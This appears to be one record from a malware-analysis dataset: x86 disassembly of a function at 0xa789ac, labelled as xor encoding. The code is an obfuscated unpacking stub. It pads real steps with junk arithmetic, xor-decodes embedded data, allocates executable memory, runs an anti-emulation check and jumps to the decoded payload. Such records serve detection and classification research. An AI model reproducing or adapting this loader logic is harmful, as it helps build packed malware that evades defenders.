Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x143d5ab6
add eax, edi
sub eax, edi
popal
not edi
not eax
mov edx, 0
mov ecx, eax
inc esi
and ebx, ebx
or ebx, esi
mov edi, ecx
mov ebx, 0x9d8d2225
sub esi, ebx
mov eax, edi
sub esi, ebx
and ebx, ebx
dec esi
inc edx
inc esi
add esi, 1
cmp edx, 0x1001205
jne 0xa789c0
add esi, 0xdc28b352
dec esi
add edi, edi
add eax, 1
mov edi, eax
mov esi, 0xa78796
and ecx, ecx
mov ecx, 0xd8214e72
sub edx, 0x5aee0c7d
mov edi, 0xa7898a
and ecx, eax
add ecx, 1
mov ebx, dword [esi]
mov eax, 0xdb5ea325
sub eax, 0x965fe7df
and ebx, 0xff
add ecx, ecx
inc ecx
xor dword [edi], ebx
mov edx, 0x86fb4238
mov edx, eax
add edi, 1
or eax, edx
dec edx
inc esi
or ecx, edx
add ecx, 0x14aa87cf
add edx, 0x7a26779d
cmp edi, entry0
jl 0xa78a1b
and eax, eax
dec eax
or edx, ecx
or edx, ecx
sub edx, ecx
or ebx, esi
mov edi, 0xa7898e
not esi
not edx
add esi, edx
mov edi, dword [edi]
dec esi
sub ecx, edx
sub esi, 0x62b146eb
mov edi, dword [edi]
mov ebx, 0x42e01ee4
or edx, ecx
push edi
dec esi
add ebx, 1
inc esi
mov edi, 0xa7898a
sub ecx, 0x3d521023
mov ecx, ebx
mov edi, dword [edi]
sub edx, 0xe9f8ec3
sub ecx, 0x91ad6ee
or ebx, edx
mov edi, dword [edi]
add edx, ecx
add ebx, ecx
not esi
push 0xa78992
inc ebx
and ebx, esi
inc ecx
call edi
or ecx, ecx
mov ebx, 0x3bb9f6e8
add ebx, ebx
pop edi
sub edx, 0xa1023e80
sub ebx, 0x44d682e2
sub esi, ebx
push 0xa7899f
and esi, ebx
add ebx, 0xd7542d0d
add esi, 0x44c60f15
sub esp, 4
mov dword [esp], eax
sub ecx, 0xdaa98aed
or edx, esi
mov ebx, 0xa841a635
call edi
sub esi, edx
add ebx, ecx
or esi, ecx
push 0x40
mov edx, ebx
add esi, ecx
dec esi
sub esp, 4
mov dword [esp], 0x3000
or esi, edx
and edx, ecx
push 0x200008d8
add ecx, 0x2c7c4cea
sub ebx, 0x55fa4125
sub esp, 4
mov dword [esp], 0
inc edx
not ecx
sub ecx, 0xb606374f
call eax
sub esi, ebx
sub esi, ecx
add eax, 0x20000856
mov esi, 0xe4af7bed
add ebx, edx
mov edi, 0xd6a9fa7c
inc ebx
dec edx
mov dword [eax], edi
inc esi
mov esi, edx
add ecx, 0x710e0390
mov edi, dword [eax]
mov esi, ecx
sub ebx, 1
cmp edi, 0xd6a9fa7c
je 0xa78b81
mov eax, 0
mov ecx, dword [eax]
not edx
add edx, edx
add esi, 0xe41d0394
add ecx, 0xedf844f9
and esi, ebx
and edi, edi
add edi, edi
dec edi
mov ecx, section..data
mov edi, 0x1b67ac2d
add edi, eax
mov ebx, 0xa78795
add edi, 1
not eax
mov edi, eax
mov edx, 0
add edi, 0xbd4f09c
add eax, edi
mov esi, 0xa78796
sub eax, 0x1d26bd94
mov edi, eax
lea esi, [edx + esi]
or eax, eax
mov eax, edi
add edi, 0xe29f79b6
mov esi, dword [esi]
sub eax, 1
sub eax, edi
sub edi, 0xafddc646
and esi, 0xff
sub edi, 0xb21f2b59
not eax
add edx, 1
sub edi, eax
mov eax, edi
cmp edx, 0x1f4
jne 0xa78c0f
mov edx, 0
sub eax, 0x679f81fb
dec edi
or eax, edi
and edi, eax
add eax, edi
sub eax, edi
xor dword [ecx], esi
add edi, eax
mov eax, edi
add ecx, 2
add edi, 0x81c36b9e
sub edi, eax
mov eax, edi
cmp ecx, ebx
jl 0xa78bc0
mov eax, 0x8ccced6b
add edi, 0xfca81e40
sub eax, edi
dec eax
add eax, eax
mov ebx, section..data
mov edi, eax
or edi, eax
mov eax, 0x1ce4c80
mov edx, section..data
mov eax, 0x9f78b0b3
sub edi, 0x240e0cf0
sub edi, eax
mov esi, 0xa78795
inc edi
and eax, edi
mov ecx, 0
add eax, 1
add eax, eax
and eax, edi
mov cl, byte [edx]
dec eax
and edi, edi
add eax, 0x54277f96
mov byte [ebx], cl
add edi, edi
mov edi, 0x9d54d2b0
or eax, eax
inc ebx
and edi, edi
mov eax, edi
add edi, 1
add edx, 2
not edi
mov edi, 0x252d8f1a
or edi, eax
cmp edx, esi
jle 0xa78c83
inc eax
add edi, eax
sub eax, edi
dec edi
mov edi, 0xc43036e0
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, edi
mov eax, 0x7287f817
and eax, eax
ret